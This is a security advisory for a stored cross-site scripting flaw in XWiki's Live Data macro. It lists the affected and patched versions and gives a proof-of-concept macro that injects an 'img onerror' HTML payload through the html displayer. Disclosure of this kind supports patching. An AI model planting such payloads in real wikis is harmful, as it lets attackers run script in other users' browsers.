GHSA-hmm7-6ph9-8jf2
org.xwiki.platform:xwiki-platform-livedata-macro vulnerable to Basic Cross-site Scripting
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Maven | org.xwiki.platform:xwiki-platform-livedata-macro | >= 13.10.10, < 13.10.11 | 13.10.11 |
| Maven | org.xwiki.platform:xwiki-platform-livedata-macro | >= 14.4, < 14.4.7 | 14.4.7 |
| Maven | org.xwiki.platform:xwiki-platform-livedata-macro | >= 14.9, < 14.10 | 14.10 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
A user without script rights can introduce a stored XSS by using the Live Data macro, if the last author of the content of the page has script rights.
For instance, by adding the LiveData below in the about section of the profile of a user created by an admin.
```javascript
{{liveData id="movies" properties="title,description"}}
{
"data": {
"count": 1,
"entries": [
{
"title": "Meet John Doe",
"url": "https://www.imdb.com/title/tt0033891/",
"description": "<img onerror='alert(1)' src='foo' />"
}
]
},
"meta": {
"propertyDescriptors": [
{
"id": "title",
"name": "Title",
"visible": true,
"displayer": {"id": "link", "propertyHref": "url"}
},
{
"id": "description",
"name": "Description",
"visible": true,
"displayer": "html"
}
]
}
}
{{/liveData}}
```
### Patches
This has been patched in XWiki 14.10, 14.4.7, and 13.10.11.
### Workarounds
No known workaround.
### References
- https://jira.xwiki.org/browse/XWIKI-20312
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [Jira](http://jira.xwiki.org/)
* Email us at [Security ML](mailto:[email protected])
References
External links from the advisory. They lead to third-party sites.